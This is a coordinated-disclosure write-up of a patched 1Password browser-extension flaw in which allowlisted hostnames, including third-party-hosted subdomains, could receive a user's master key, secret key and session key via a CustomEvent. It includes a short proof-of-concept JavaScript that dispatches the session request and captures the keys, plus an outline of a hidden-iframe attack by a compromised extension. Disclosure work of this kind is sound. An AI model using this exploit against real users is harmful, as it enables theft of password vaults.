The Importance of Establishing Boundaries with your DOM — Stealing 1Password Keys

Disclosure status: This finding was reported to 1Password through their HackerOne program and remediated in 1Password in the browser 8.12.21. It is being published under coordinated disclosure with 1Password’s awareness.


TL;DR

The 1Password browser extension would hand your master key, secret key, and an active session key to JavaScript running on a page whose hostname matched a hardcoded allowlist, with no user interaction. Unfortunately that allowlist included nine dev/staging domains with wildcard DNS, and at least two production domains (brand.1password.com and status.1password.com) that serve third party JavaScript.

The vulnerability went from “Informative, working as intended” to “High severity, shipping a patch” in a few months of back and forth, revealing a common blind spot in how we model trust with third-party vendors.


A quick word on threat models, or: why your password manager is special

Most apps get to assume that if an attacker is running JavaScript on your origin, you’ve already lost. XSS is game over, the reasoning goes, so why defend past it?

A password manager doesn’t get that luxury. The entire pitch of 1Password is zero-knowledge: even 1Password can’t read your vault, your master key never leaves your control, and no single failure should expose it as described in their security whitepaper, itself an excellent read.

So when the extension’s design assumes that any JS running on a trusted hostname is safe to receive cryptographic secrets, it violates a core security guarantee. Keep this in mind, because 1Password’s first response was essentially that XSS on their origin is game over anyway. For most products, that is fair. For a zero-knowledge password manager, it undermines the primary threat model.


How the extension talks to the web app

The 1Password web app (my.1password.com, or teams’ tenant subdomains) and the browser extension need to cooperate. When you’re signed into the web app and your extension is unlocked, the extension can perform a Magic Unlock (also known as “Automatic sign-in to 1Password.com”) session delegation: it spins up a server-backed session for the web app so the page can decrypt and show your stuff.

To pull this off, the content script b5.js — injected into pages matching the allowlist — listens for events. Specifically, it listens for CustomEvents dispatched on document. The same document that any script on the page can reach out and touch.

Here’s the allowlist that gates the creds— twelve domain suffixes:

1password.com, 1password.ca, 1password.eu,
b5dev.com,     b5dev.ca,     b5dev.eu,
b5test.com,    b5test.ca,    b5test.eu,
b5local.com,   b5staging.com, b5rev.com

Nine of those are dev/staging domains. All of them have wildcard DNSliterally-anything.b5test.com resolves to AWS and serves the full 1Password web SPA. The only authorization gate between a page and your master key was: does the hostname end in one of these twelve strings?


The flow, end to end

  1. Page dispatches B5SessionInit on document with an accountUuid and a device object.
  2. b5.js (Np()) catches it, checks only the hostname allowlist (D()), and forwards it to the background script via chrome.runtime.sendMessage as b5-session-init.
  3. Background (gqe) looks up the account by UUID in its local DB and calls getDelegateSessionInit(), which phones the 1Password server to mint a delegated session.
  4. Server returns full session credentials. Background sends auto-sign-in-to-b5 back to the content script.
  5. b5.js dispatches B5InitializeSession — as a CustomEvent, on document — containing the goods:
document.addEventListener("B5InitializeSession", (e) => {
 // e.detail contains:
 //   masterKey   (JWK)  — decrypts your personal keyset → all vault keys → all items
 //   accountKey         — your Secret Key, in plaintext
 //   sessionKey  (JWK)  — active session encryption key
 //   email, deviceUuid, apiHost, derivationInfo
 //   serverConfig.notifier — a wss:// URL with a PASETO token valid for 30 days
 exfiltrate(e.detail);
});

The attacker’s entire exploit is: add an event listener, dispatch one event, collect the keys. Here’s the actual PoC:

// 1. Listen for the response
document.addEventListener("B5InitializeSession", (e) => {
 console.log("=== MASTER KEY + SESSION CREDENTIALS ===");
 console.log(JSON.stringify(e.detail));
});


// 2. Ask nicely for a session. A FRESH device UUID is required each time —
//    the server silently drops requests that reuse a device UUID.
document.dispatchEvent(new CustomEvent("B5SessionInit", {
 detail: {
   accountUuid: "<target_account_uuid>",
   device: {
     uuid: crypto.randomUUID().replace(/-/g, "").substring(0, 26),
     clientName: "1Password for Web",
     clientVersion: "2218",
     // ...standard device fields
   }
 }
}));

The missing controls

The page’s own authentication state didn’t matter. You didn’t have to be signed in on the page. You didn’t have to be on the sign-in page. You just had to be on a hostname that ended in one of the right twelve strings, and the extension would conjure a brand-new server-side session and read you the master key, secret key, and session key.


”Works as intended”

I submitted the initial report on March 22. On March 27 the report was closed Informative — the polite security-team way of saying “valid observation, no bounty, no change.” The reasoning:

The Magic Unlock delegation includes the AUK (Account Unlock Key) by design… The inclusion of dev/staging domains in the trusted allowlist is also a deliberate choice, made to support regression testing of production builds against those environments… The team is aware of this tradeoff and has made a conscious decision to maintain the current design.


Maybe Not

The “conscious decision” rested on one load-bearing assumption:

The trust model assumes any hostname on the allowlist is under our control and serving content we authored.

To verify this, I audited the twelve domain suffixes. The results showed that “under our control and serving content we authored” was no longer entirely accurate:

Dangling CNAMEs pointing at deprovisioned third-party SaaS. The kind of thing that, on a normal domain, is a medium-severity subdomain-takeover finding worth a shrug. On a domain that the 1Password extension treats as cryptographically authoritative, it’s a direct path to your master key.

The most critical finding wasn’t dangling records, but live ones:

When I go to https://brand.1password.com, I’m served Frontify JS on a hostname on the allowlist. You did not write this code, and you may not even be aware of what the code is unless Frontify runs all their releases by 1Password first. Yet this JS has full cryptographic authority over the visiting user’s 1Password keys.

That’s the whole point of the post, really. The trust boundary wasn’t “JavaScript 1Password wrote.” It was “JavaScript served by anyone 1Password ever pointed a subdomain at” — Frontify (brand.1password.com), Atlassian (status.1password.com), Lithium/Khoros (communitystage.1password.com), Webflow, and whoever they delegate their infrastructure to. The boundary you think you’re holding is only as strong as the weakest vendor in your CNAME records.

The report got reopened on April 12.


The severity climb

Here is the timeline of the severity escalation:

DateStatusReasoning
Mar 27Informative”Working as intended”
Apr 12ReopenedDNS audit landed
May 6Medium”Attacker must first compromise a 1Password property — high bar”
Jun 1High”Compromise of a third-party provider hosting an allowlisted subdomain is itself sufficient”

The Medium→High jump came down to an argument about chain depth. 1Password initially scored it as a chain requiring two exploitable conditions (compromise a 1Password property and intercept the delegation). I pushed back:

“An attacker has to first compromise a 1Password property” — this is not true. They could compromise a Frontify, Atlassian, or Lithium property. They could be a malicious insider. They could compromise an employee or service credential at one of those companies. They could be a well-meaning Atlassian engineer who accidentally introduces an HTML-injection bug on the status page.

To their credit, the team agreed:

On closer review, we agree that compromise of a provider hosting one of the allowlisted subdomains is itself sufficient to deliver arbitrary content on that subdomain. That collapses the chain depth and warrants a higher rating. Your pushback also prompted us to look more critically at how we score scenarios that depend on third-party trust, particularly in light of the slew of supply chain compromises that have surfaced across the industry recently.

In an era of xz, npm, and a steady drip of SaaS-supply-chain incidents, “we trust every vendor we ever CNAME’d to” is not the threat model you want guarding a master key.


The Fix

1Password’s first instinct on severity was that some key exposure is “inherent to the feature working at all.” This is the part worth dwelling on, because it’s the engineering lesson.

It is not inherent. There’s no functional requirement to broadcast cryptographic material onto the page’s document via a CustomEvent that any script can listen for. The fix is the boring, correct one:

What 1Password shipped in 8.12.21 is the third one: Magic Unlock is now constrained to the sign-in surfaces that match the user’s exact signed-in tenant. This effectively breaks the exploit chain I reported, as a random allowlisted subdomain can no longer mint a session for an arbitrary account. The dangling subdomains were decommissioned, and the broader “should the crypto context be DOM-isolated” question got punted to a longer architectural review. That last one is the real prize, and I hope they take it.

The general principle, and the title of this post: your DOM is a hostile, shared space. Anything you dispatch onto document is something you’ve handed to every script on the page — including the one your vendor’s vendor shipped last Tuesday.


A Note on Browser Extensions

If you install a browser extension with <all_urls> permissions (like an AI grammar checker, an adblocker, or a coupon clipper), and that extension is compromised or sold to a malicious actor, you have a major problem. For most websites, a malicious extension can scrape your current session cookies or read passwords as you type them. But with this architecture, a compromised extension doesn’t have to wait for you to type anything. It can steal your entire vault instantly, silently, in the background:

For individual accounts: The extension simply opens a hidden iframe to my.1password.com, dispatches the B5SessionInit event, and listens for the Master Key to be dropped onto the document. For Team accounts: The extension reads localStorage on any 1Password page (or observes browser traffic) to find your specific tenant URL (e.g., company.1password.com), opens a hidden iframe to that exact tenant, and runs the same exploit.

Because the request originates from the correct tenant, 1Password’s patch allows it (in fact, even if they moved off document into an origin-isolated iframe, this risk remains). The extension hands over the Master Key, and the attacker decrypts your vault without you ever interacting with the password manager.


Timeline


Lessons for the rest of us

  1. An allowlist is only as strong as everything it points to. Audit what’s actually served on every entry — including the CNAME targets and the third parties behind them. “Under our control” is a claim with an expiry date.
  2. CustomEvent on document is not a private channel. If your content script broadcasts secrets there, you’ve published them to the page.
  3. Password managers don’t get to treat XSS as game over. Defense in depth means the master key survives a compromised origin. If it doesn’t, “defense in depth” is marketing.

Thanks to the 1Password security team, who engaged thoughtfully, raised their own severity twice, owned a process gap, and shipped a fix.

Comments